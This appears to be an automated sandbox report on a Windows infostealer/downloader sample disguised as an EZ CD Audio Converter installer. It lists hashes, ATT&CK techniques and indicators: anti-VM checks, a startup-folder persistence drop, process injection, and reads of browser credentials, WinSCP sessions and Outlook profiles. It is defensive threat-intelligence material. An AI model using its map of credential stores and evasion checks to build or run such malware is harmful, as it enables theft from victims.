banload | b0dea552b8e60015ae41b062602655ebca0b310b677c3428126363b0e0a08476

Analysis

max time kernel
146s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
31/03/2025, 01:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
Size

46.2MB
MD5

5ad23c8209fd17a66c6e37436f257a91
SHA1

47afe2053859cf1ebe0f45fa75d0ce77945f89da
SHA256

b0dea552b8e60015ae41b062602655ebca0b310b677c3428126363b0e0a08476
SHA512

cd4dad7b8a37c9e141b4e86cc3b861f5a6250f0c716326b9fe295bc36ce3bf2b42fd9630e47677eac333e02d0358b175007fd0bfd4636836ec4871bec626d3c4
SSDEEP

786432:GVmrjV7eIAtBXcnm0+Hm+vwZW9a3kTxI2Un/Elw4+rTEl4ElUyemgEmtV8r8G:GVmrjV7eIjnP+TYZQaB3Ex+HEpUxkrn

Score

10^/10

banload collection defense_evasion discovery downloader dropper execution persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Banload
Banload variants download malicious files, then install and execute the files.
trojan dropper downloader banload
Banload family
banload

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ezcd.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
63	1040	RegAsm.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ezcd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	ezcd.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	MSIA5CD.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	MSIB0D6.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	ezcd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Io.exe	powershell.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 7 IoCs

pid	Process
3768	MSIA5CD.tmp
456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
4108	MSIB0D6.tmp
2712	register64.exe
2256	ezcd.exe
4660	Io.exe
6440	gtunb.exe

Loads dropped DLL 64 IoCs

pid	Process
4840	MsiExec.exe
4840	MsiExec.exe
4840	MsiExec.exe
4944	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
404	MsiExec.exe
404	MsiExec.exe
404	MsiExec.exe
404	MsiExec.exe
404	MsiExec.exe
404	MsiExec.exe
404	MsiExec.exe
4188	MsiExec.exe
4188	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe
2620	MsiExec.exe
4336	MsiExec.exe
4336	MsiExec.exe
456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
456	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
2712	register64.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe
2256	ezcd.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	gtunb.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	gtunb.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	gtunb.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gtunb.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\X:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\U:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\I:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\S:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\W:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\Y:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\M:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\D:	ezcd.exe
File opened (read-only)	\??\Z:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\Q:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\T:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\O:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\P:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe
File opened (read-only)	\??\R:	2025-03-31_5ad23c8209fd17a66c6e37436f257a91_black-basta_luca-stealer.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4660 set thread context of 1040	4660	Io.exe	129

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\EZ CD Audio Converter\Language\japanese.uni	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\metm_wma.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\met_ape.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_eac3mka.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\notify.wav	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\dec_mpc.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\decm_opus.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\dec_mp3.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\deviceio.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_am4a.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\met_m4a.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-core-file-l2-1-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\registershell.exe	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Language\serbian.uni	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_dff.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_au.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Language\korean.uni	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_wavmp3.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_mpc.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\metm_ffmpeg.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\metm_id3.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_thdm4a.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\avutil-59.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\dec_flac.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-core-profile-l1-1-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-crt-multibyte-l1-1-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Language\romana.uni	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Language\slovak.uni	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Language\ukrainian.uni	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\decm_aiff.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_alac.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\met_wma.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Assets\Square150x150Logo.scale-150.png	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files (x86)\EZ CD Audio Converter\EZ CD Audio Converter\regid.1995-09.com.example_20b5b899-25ba-4754-96c3-54f90f9645d7.swidtag	MsiExec.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_ape.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\metm_mpc.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\met_sacd.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Assets\Square44x44Logo.targetsize-16_altform-unplated.png	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Language\catala.uni	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_wavpackdsd.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_flac.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-core-console-l1-2-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-core-interlocked-l1-1-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-crt-time-l1-1-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\ezcd64.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_aacf.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-core-file-l1-2-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-crt-convert-l1-1-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Assets\debug.log	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Assets\storelogo.scale-125.png	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_alac.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\met_opus.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_au.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\vcruntime140_threads.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\api-ms-win-crt-stdio-l1-1-0.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\uninstall.exe	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\encm_aaac.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_ac3.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\met_w64.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\msvcp140_1.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Assets\Square44x44Logo.targetsize-20_altform-unplated.png	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\Assets\Square44x44Logo.scale-200.png	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\dec_wavpack.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe
File created	C:\Program Files\EZ CD Audio Converter\enc_aac.dll	ez_cd_audio_converter_setup_x64-12.0.1.1.exe

Drops file in Windows directory 32 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIA9AA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9DC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB0D6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAC7D.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D4D.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA204.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA7C3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9BA.tmp	msiexec.exe
File created	C:\Windows\Installer\e579c7e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CDC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D0C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA07C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAC3E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB019.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D2C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D3D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA5CD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA96A.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{6456B7DE-AB6A-4D88-9A4A-A12FFA694708}	msiexec.exe
File opened for modification	C:\Windows\Installer\e579c7e.msi	msiexec.exe
File created	C:\Windows\Installer\e579c83.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9CB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9D5E.tmp	msiexec.exe
File created	C:\Windows\Installer\e579c82.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e579c83.msi	msiexec.exe
File created	C:\Windows\Installer\e579c87.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{583A6AD7-D6C6-4313-9F6A-1140BE7D27BC}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA6A9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAE44.tmp	msiexec.exe

Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
3768	MSIA5CD.tmp
4108	MSIB0D6.tmp

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe
2060	powershell.exe
4716	powershell.exe

